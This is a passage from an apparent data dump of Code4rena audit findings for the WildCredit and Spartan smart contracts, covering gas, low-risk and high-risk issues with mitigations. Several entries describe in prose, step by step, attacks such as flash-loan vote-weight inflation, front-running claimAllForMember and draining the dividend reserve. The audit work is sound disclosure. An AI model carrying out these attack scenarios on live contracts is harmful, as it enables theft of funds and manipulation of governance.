```jsx // public constant ETH_ADDRESS = ''; // define a special constant address for ether != WETH address function depositRepay(address _account, address _token, uint _amount) external payable { _validateTokenAndValue(_token, msg.value, _amount); accrueAccount(_account); _depositRepay(_account, _token, _amount); _handleDeposit{value:msg.value}(_token, _amount); } function _validateTokenAndValue(address _token, uint etherWei, uint amount) internal view { address token; if (_token == ETH_ADDRESS) { token = WETH; require(etherWei == amount, \"LendingPair: invalid etherWei\"); } else { token = _token; require(etherWei == 0, \"LendingPair: invalid etherWei\"); } require(token == tokenA || token == tokenB, \"LendingPair: invalid token\"); } function _handleDeposit(address _token, uint _amount) internal payable { (_token == ETH_ADDRESS) ? WETH.deposit{ value: msg.value }() : _safeTransferFrom(_token, msg.sender, _amount); } ``` "}, {"title": "LendingPair: Unnecessary Casting", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle greiart # Vulnerability details ## Impact The address casting of `_token` in `lpToken[address(_token)]` can be removed in the `withdrawAll()`, `_withdraw()` and `_borrow()` functions, since `_token` is already an address in these functions. In other words, `lpToken[address(_token)]` *\u2192* `lpToken[token]` "}, {"title": "External call does not have amount check in TransferHelper", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "disagree with severity", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle defsec # Vulnerability details ## Impact There is occurrence in the code of the TransferHelper contract where amount is checked after the external call. ## Proof of Concept - Navigate to [TransferHelper.sol](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/TransferHelper.sol) - Amount is checked after an external call. [TransferHelper.sol amount check](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/TransferHelper.sol#L22) - To favor readability and avoid confusions, consider applying check at the beginning of function. ## Tools Used None ## Recommended Mitigation Steps To favor readability and avoid confusions, consider applying check at the beginning of function. ```sh function _safeTransferFrom(address _token, address _sender, uint _amount) internal virtual { require(_amount > 0, \"TransferHelper: amount must be > 0\"); ... } ``` "}, {"title": "UniswapV3Oracle: Reduce minObservations to uint16", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle greiart # Vulnerability details ## Impact Will help prevent erraneous `minObservations` values from being set (ie. `> 65535`) by the owner without needing checks. Otherwise, the `isPoolValid` will always return false, causing reverts in calling `tokenPrice` and `addPool` functions (and other functions calling these). ## Referenced Codelines [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/UniswapV3Oracle.sol#L25](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/UniswapV3Oracle.sol#L25) [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/UniswapV3Oracle.sol#L101](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/UniswapV3Oracle.sol#L101) ## Proof Of Concept The maximum number of observations available is `65535` (see [https://github.com/Uniswap/uniswap-v3-core/blob/main/contracts/UniswapV3Pool.sol#L39](https://github.com/Uniswap/uniswap-v3-core/blob/main/contracts/UniswapV3Pool.sol#L39)), which is equivalent to `type(uint16).max`. Hence, - `uint public minObservations` can be reduced to `uint16 public minObservations`. - `(, , , , uint observationSlots , ,) = IUniswapV3Pool(poolAddress).slot0();` becomes `(, , , , uint16 observationSlots , ,) = IUniswapV3Pool(poolAddress).slot0();` "}, {"title": "UniswapV3Oracle: No events emitted for setUniPriceConverter, setTwapPeriod, setMinObservations", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle greiart # Vulnerability details ## Impact No impact but personally, I think it's good practice to emit an event whenever you update the state of the contract via a setter function. ## Referenced Codelines [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/UniswapV3Oracle.sol#L65-L75](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/UniswapV3Oracle.sol#L65-L75) "}, {"title": "RewardDistribution: Optimise pendingSupplyReward, pendingBorrowReward, _distributeReward and _poolRewardRate", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "RewardDistribution: Optimise pendingSupplyReward, pendingBorrowReward, _distributeReward and _poolRewardRate"}, {"title": "RewardDistribution: Optimise _getPid", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle greiart # Vulnerability details ## Impact A repeated call to `pidByPairToken[_pair][_token][_isSupply]` can be avoided since it is stored in `poolPosition`. Simply return [poolPosition.pid](http://poolposition.pid). ## Referenced Codelines [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/RewardDistribution.sol#L245-L250](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/RewardDistribution.sol#L245-L250) ## Proof of Concept ```jsx function _getPid(address _pair, address _token, bool _isSupply) internal view returns(uint) { PoolPosition memory poolPosition = pidByPairToken[_pair][_token][_isSupply]; require(poolPosition.added, \"RewardDistribution: invalid pool\"); return poolPosition.pid; } ``` "}, {"title": "RewardDistribution: Redundant boolean flag check in _getPid()", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "RewardDistribution: Redundant boolean flag check in _getPid()"}, {"title": "RewardDistribution: Avoid 0 pid to drop boolean flag use", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "RewardDistribution: Avoid 0 pid to drop boolean flag use"}, {"title": "LPTokenMaster: underlying() \u2192 address underlyingToken", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "LPTokenMaster: underlying() \u2192 address underlyingToken"}, {"title": "LPTokenMaster: CEI Pattern", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle greiart # Vulnerability details ## Impact It would be better to perform the allowance check before handling the token transfer. This is in line with the best practice of the CEI (checks-effects-interactions) pattern to avoid possible re-entrancy attacks. [https://dev.to/mxmaster2s/quick-guide-to-the-checks-effect-interactions-pattern-to-remember-when-writing-your-smart-contracts-gfk](https://dev.to/mxmaster2s/quick-guide-to-the-checks-effect-interactions-pattern-to-remember-when-writing-your-smart-contracts-gfk) ## Referenced Codelines [https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LPTokenMaster.sol#L42-L46](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LPTokenMaster.sol#L42-L46) ## Recommended Mitigation Steps ```jsx function transferFrom(address _sender, address _recipient, uint _amount) external returns (bool) { _approve(_sender, msg.sender, allowance[_sender][msg.sender] - _amount); _transfer(_sender, _recipient, _amount); return true; } ``` "}, {"title": "LendingPair: Optimise liquidation parameter calculations", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "LendingPair: Optimise liquidation parameter calculations"}, {"title": "LendingPair: Error Messages can be improved", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/40", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "LendingPair: Error Messages can be improved"}, {"title": "LendingPair: Cache token decimals", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "LendingPair: Cache token decimals"}, {"title": "LendingPair: Avoid rounding error in _accrueAccountSupply()", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/37", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "LendingPair: Avoid rounding error in _accrueAccountSupply()"}, {"title": "InterestRateModel: Use constant for 100e18", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/36", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "InterestRateModel: Use constant for 100e18"}, {"title": "InterestRateModel: Infallible logic", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-wildcredit-findings", "body": "InterestRateModel: Infallible logic"}, {"title": "difference between _safeTransferFrom and _safeTransfer", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The functions _safeTransferFrom and _safeTransfer are similar but there is one difference: _safeTransferFrom reverts when _amount == 0 _safeTransfer doesn't do any action when _amount == 0 I don't see any reason for the different behavior. ## Proof of Concept https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/TransferHelper.sol function _safeTransferFrom(address _token, address _sender, uint _amount) internal virtual { bool success = IERC20(_token).transferFrom(_sender, address(this), _amount); require(success, \"TransferHelper: transfer failed\"); require(_amount > 0, \"TransferHelper: amount must be > 0\"); } //https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L468 function _safeTransfer(IERC20 _token, address _recipient, uint _amount) internal { if (_amount > 0) { bool success = _token.transfer(_recipient, _amount); require(success, \"LendingPair: transfer failed\"); _checkMinReserve(address(_token)); } } ## Tools Used ## Recommended Mitigation Steps Double check the difference and perhaps apply the same logic for amount==0 to both functions. "}, {"title": "Use immutable keyword", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/28", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "Use immutable keyword"}, {"title": "redundant call to _checkMinReserve in withdrawBorrowETH ", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function withdrawBorrowETH of the contract LendingPair calls _wethWithdrawTo and then calls _checkMinReserve. However _wethWithdrawTo also calls _checkMinReserve (except when _amount but then not much happens anyway. So the call to _checkMinReserve in withdrawBorrowETH is redundant and uses some extra gas. ## Proof of Concept //https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L106 function withdrawBorrowETH(uint _amount) external { .. _wethWithdrawTo(msg.sender, _amount); _checkMinReserve(address(WETH)); // is also called in _wethWithdrawTo } function _wethWithdrawTo(address _to, uint _amount) internal override { if (_amount > 0) { TransferHelper._wethWithdrawTo(_to, _amount); _checkMinReserve(address(WETH)); } } ## Tools Used ## Recommended Mitigation Steps Consider removing the _checkMinReserve in withdrawBorrowETH Or consider moving the _checkMinReserve to all functions where _wethWithdrawTo is called "}, {"title": "minBorrowUSD not initialized in the contract", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The parameter minBorrowUSD of the contract Controller isn't initialized. If someone is able to Borrow before the function setMinBorrowUSD is called, he might be able to borrow a very small amount. This might be unwanted. ## Proof of Concept //https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/Controller.sol#L27 uint public minBorrowUSD; function setMinBorrowUSD(uint _value) external onlyOwner { minBorrowUSD = _value; } //https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L553 function _checkBorrowLimits(address _token, address _account) internal view { ... require(accountBorrowUSD >= controller.minBorrowUSD(), \"LendingPair: borrow amount below minimum\"); ## Tools Used ## Recommended Mitigation Steps Initialize minBorrowUSD via the constructor or set a reasonable default in the contract. "}, {"title": "No check of MAX_LIQ_FEES in contructor of Controller", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Both the functions setLiqParamsToken and setLiqParamsDefault have a check to make sure that _liqFeeCaller + _liqFeeSystem <= MAX_LIQ_FEES However the constructor of Controller sets the same parameters and doesn't have this check. It seems logical to also do the check in the controller otherwise the parameters could be set outside of the wanted range. ## Proof of Concept // https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/Controller.sol#L49 constructor( address _interestRateModel, uint _liqFeeSystemDefault, uint _liqFeeCallerDefault) { ... liqFeeSystemDefault = _liqFeeSystemDefault; liqFeeCallerDefault = _liqFeeCallerDefault; function setLiqParamsToken( address _token, uint _liqFeeSystem, uint _liqFeeCaller ) external onlyOwner { require(_liqFeeCaller + _liqFeeSystem <= MAX_LIQ_FEES, \"Controller: fees too high\"); ... liqFeeSystemToken[_token] = _liqFeeSystem; liqFeeCallerToken[_token] = _liqFeeCaller; function setLiqParamsDefault( uint _liqFeeSystem, uint _liqFeeCaller) external onlyOwner { require(_liqFeeCaller + _liqFeeSystem <= MAX_LIQ_FEES, \"Controller: fees too high\"); liqFeeSystemDefault = _liqFeeSystem; liqFeeCallerDefault = _liqFeeCaller; ## Tools Used ## Recommended Mitigation Steps Add something like the following in the constructor of Controller require(liqFeeCallerDefault + liqFeeSystemDefault <= MAX_LIQ_FEES, \"Controller: fees too high\"); "}, {"title": "Undefined Event", "html_url": "https://github.com/code-423n4/2021-07-wildcredit-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-wildcredit-findings", "body": "# Handle defsec # Vulnerability details ## Impact Without Event, it is difficult to identify in real-time whether correct values are recorded on the blockchain. In this case, it becomes problematic to determine whether the corresponding value has been changed in the application and whether the corresponding function has been called. setMinBorrowUSD function is missing event. ## Proof of Concept 1. Go to following the function [setMinBorrowUSD Function](https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/Controller.sol#L137) 2. There is missing event definition on the function. ## Tools Used None ## Recommended Mitigation Steps Add Event corresponding to the change occurring in the function. Add `emit NewMinBorrowUSD(_value);` "}, {"title": "Flash loan manipulation on `getPoolShareWeight` of `Utils`", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/238", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle shw # Vulnerability details ## Impact The `getPoolShareWeight` function returns a user's pool share weight by calculating how many SPARTAN the user's LP tokens account for. However, this approach is vulnerable to flash loan manipulation since an attacker can swap a large number of TOKEN to SPARTAN to increase the number of SPARTAN in the pool, thus effectively increasing his pool share weight. ## Proof of Concept According to the implementation of `getPoolShareWeight,` a user's pool share weight is calculated by `uints * baseAmount / totalSupply`, where `uints` is the number of user's LP tokens, `totalSupply` is the total supply of LP tokens, and `baseAmount` is the number of SPARTAN in the pool. Thus, a user's pool share weight is proportional to the number of SPARTAN in the pool. Consider the following attack scenario: 1. Supposing the attacked pool is SPARTAN-WBNB. The attacker first prepares some LP tokens (WBNB-SPP) by adding liquidity to the pool. 2. The attacker then swaps a large number of WBNB to SPARTAN, which increases the pool's `baseAmount`. He could split his trade into small amounts to reduce slip-based fees. 3. The attacker now wants to increase his weight in the `DaoVault`. He adds his LP tokens to the pool by calling the `deposit` function of `Dao.` 4. `Dao` then calls `depositLP` of `DaoVault`, causing the attacker's weight to be recalculated. Due to the large proportion of SPARTAN in the pool, the attacker's weight is artificially increased. 5. With a higher member weight, the attacker can, for example, vote the current proposal with more votes than he should have or obtain more rewards when calling `harvest` of the `Dao` contract. 6. The attacker then swaps back SPARTAN to WBNB and only loses the slip-based fees. Referenced code: [Utils.sol#L46-L50](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L46-L50) [Utils.sol#L70-L77](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L70-L77) [DaoVault.sol#L44-L56](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/DaoVault.sol#L44-L56) [Dao.sol#L201](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L201) [Dao.sol#L570](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L570) ## Recommended Mitigation Steps A possible mitigation is to record the current timestamp when a user's weight in the `DaoVault` or `BondVault` is recalculated and force the new weight to take effect only after a certain period, e.g., a block time. This would prevent the attacker from launching the attack since there is typically no guarantee that he could arbitrage the WBNB back in the next block. "}, {"title": "Improper access control of `claimAllForMember` allows anyone to reduce the weight of a member", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/235", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle shw # Vulnerability details ## Impact The `claimAllForMember` function of `Dao` is permissionless, allowing anyone to claim the unlocked bonded LP tokens for any member. However, claiming a member's LP tokens could decrease the member's weight in the `BondVault`, thus affecting the member's votes and rewards in the `Dao` contract. ## Proof of Concept For example, an attacker can intentionally front-run a victim's `voteProposal` call to decrease the victim's vote weight to prevent the proposal from being finalized: 1. Supposing the victim's member weight in the `BondVault` is 201, the total weight is 300. The victim has some LP tokens claimable from the vault, and if claimed, the victim's weight will be decreased to 101. To simplify the situation, assuming that the victim's weight in the `DaoVault` and the total weight of the `DaoVault` are both 0. 2. The victim wants to vote on the current proposal, which requires the majority consensus. If the victim calls `voteProposal`, the proposal will be finalized since the victim has the majority weight (201/300 > 66.6%). 3. An attacker does not want the proposal to be finalized, so he calls `claimAllForMember` with the victim as the parameter to intentionally decrease the victim's weight. 4. As a result, the victim's weight is decreased to 101, and the total weight is decreased to 200. The victim cannot finalize the proposal since he has no majority anymore (101/200 < 66.6%). Similarly, an attacker can front-run a victim's `harvest` call to intentionally decrease the victim's reward since the amount of reward is calculated based on the victim's current weight. Referenced code: [Dao.sol#L179-L206](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L179-L206) [Dao.sol#L276-L285](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L276-L285) [Dao.sol#L369-L383](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L369-L383) [Dao.sol#L568-L574](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L568-L574) [Dao.sol#L577-L586](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Dao.sol#L577-L586) [BondVault.sol#L104-L117](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/BondVault.sol#L104-L117) [BondVault.sol#L120-L129](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/BondVault.sol#L120-L129) [BondVault.sol#L155-L162](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/BondVault.sol#L155-L162) ## Recommended Mitigation Steps Consider removing the `member` parameter in the `claimAllForMember` function and replace all `member` to `msg.sender` to allow only the user himself to claim unlocked bonded LP tokens. "}, {"title": "Possible divide by zero errors in `Utils`", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/232", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle shw # Vulnerability details ## Impact Several functions in `Utils` do not handle edge cases where the divisor is 0, caused mainly by no liquidity in the pool. In such cases, the transactions revert without returning a proper error message. ## Proof of Concept Referenced code: [Utils.sol#L75](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L75) [Utils.sol#L90](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L90) [Utils.sol#L109-L110](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L109-L110) [Utils.sol#L123-L124](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L123-L124) [Utils.sol#L131](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L131) [Utils.sol#L138](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L138) [Utils.sol#L155](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L155) [Utils.sol#L189](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L189) [Utils.sol#L195](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L195) [Utils.sol#L215](https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Utils.sol#L215) ## Recommended Mitigation Steps Check if the divisors are 0 in the above functions to handle edge cases. "}, {"title": "Assuming `BEP20.name` of a token is implemented", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/226", "labels": ["bug", "invalid", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Assuming `BEP20.name` of a token is implemented"}, {"title": "Missing input validation in addLiquidityForMember()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/225", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In Router.sol, the function addLiquidityForMember() doesn't check inputBase and inputToken. Since we know they can't both be zero (it wouldn't change anything and user pays the gas for nothing). ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Router.sol#L51 ## Tools Used editor ## Recommended Mitigation Steps Consider adding a require `inputBase>0 || inputToken>0`. "}, {"title": "Loss of precision", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/224", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "Loss of precision"}, {"title": "Missing input validation zapLiquidity()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/222", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact zapLiquidity() in Router.sol misses an input validation unitsInput > 0. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Router.sol#L59 ## Tools Used editor ## Recommended Mitigation Steps Add an input validation for unitsInput. "}, {"title": "Missing function setParams in Dao", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/220", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "Missing function setParams in Dao"}, {"title": "state variable that can be declared as constant", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/219", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact https://docs.soliditylang.org/en/v0.8.6/contracts.html#constant-and-immutable-state-variables ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Utils.sol#L11 ## Tools Used manual review ## Recommended Mitigation Steps "}, {"title": "state variables that can be declared as immutable", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/217", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact https://docs.soliditylang.org/en/v0.8.6/contracts.html#constant-and-immutable-state-variables ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Dao.sol#L15 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L14 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L18 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L7 https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Synth.sol#L12 ## Tools Used manual review ## Recommended Mitigation Steps "}, {"title": "Missing input validation in realise()", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/216", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "Missing input validation in realise()"}, {"title": "Lack of emission of event when changing dao fees", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/215", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "Lack of emission of event when changing dao fees"}, {"title": "Missing revert if denominator = 0", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/214", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In Synth.sol, the function burnSynth() calculates a division between two variables. Since they can be zero, it's better to have a require with a clear error message when the division is not possible, otherwise an user wouldn't know why a transaction reverted. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/Synth.sol#L176 ## Tools Used editor ## Recommended Mitigation Steps Add a require(denom != 0, \"LPDebt = 0\"). "}, {"title": "lack of zero address validation for recipent in _transfer() of pool.sol, synth.sol", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/213", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-spartan-findings", "body": "lack of zero address validation for recipent in _transfer() of pool.sol, synth.sol"}, {"title": "No checking of recipient address validation during low-level call", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/212", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "No checking of recipient address validation during low-level call"}, {"title": "Mismatch in event definition", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/210", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-spartan-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact In synthFactory.sol, there's an `event CreateSynth(address indexed token, address indexed pool)`. However the event is emitted with \"synth\" as second output. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/synthFactory.sol#L13 https://github.com/code-423n4/2021-07-spartan/blob/main/contracts/synthFactory.sol#L46 ## Tools Used editor ## Recommended Mitigation Steps Think about what's the better variable to be emitted, and correct one of the lines. "}, {"title": "[Pool] - Anyone can remove liquidity from Pools, allowing them to alter the price ", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/206", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "[Pool] - Anyone can remove liquidity from Pools, allowing them to alter the price "}, {"title": "Pool.burnSynth(address,address) is potentially reentrant", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/203", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact Pool.burnSynth(address,address) is potentially a reentrant method because it executes transfers and burning before updating balances/metrics. ## Proof of Concept https://github.com/code-423n4/2021-07-spartan/blob/e2555aab44d9760fdd640df9095b7235b70f035e/contracts/Pool.sol#L245 ## Tools Used Slither ## Recommended Mitigation Steps The function should update state before external calls. Consider using a nonReentrant guard as provided by OpenZeppelin: https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard "}, {"title": "Pool._addPoolMetrics(uint256) is subject to potential miner manipulation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/201", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "Pool._addPoolMetrics(uint256) is subject to potential miner manipulation"}, {"title": "DaoVault.constructor(address) is missing a zero address check", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/198", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-07-spartan-findings", "body": "DaoVault.constructor(address) is missing a zero address check"}, {"title": "Router.revenueDetails(uint256,address) potentially vulnerable to miner manipulation", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/194", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "Router.revenueDetails(uint256,address) potentially vulnerable to miner manipulation"}, {"title": "Dividend reward can be gamed", "html_url": "https://github.com/code-423n4/2021-07-spartan-findings/issues/182", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-07-spartan-findings", "body": "# Handle cmichel # Vulnerability details The `Router.addDividend` function tells the reserve to send dividends to the pool depending on the fees. - The attacker provides LP to a curated pool. Ideally, they become a large LP holder to capture most of the profit, they should choose the smallest liquidity pool as the dividends are pool-independent. - The `normalAverageFee` variable that determines the pool dividends can be set to zero by the attacker by trading a single wei in the pool `arrayFeeSize` (20) times (use `buyTo`). The fees of the single wei trades will be zero and thus the `normalAverageFee` will also be zero as, see `addTradeFee`. - The attacker then does a trade that generates some non-zero fees, setting the `normalAverageFee` to this trade's fee. The `feeDividend` is then computed as `_fees * dailyAllocation / (_fees + normalAverageFee) = _fees * dailyAllocation / (2 * _fees) = dailyAllocation / 2`. Half of the `dailyAllocation` is sent to the pool. - The attacker repeats the above steps until the reserve is almost empty. Each time the `dailyAllocation` gets smaller but it's still 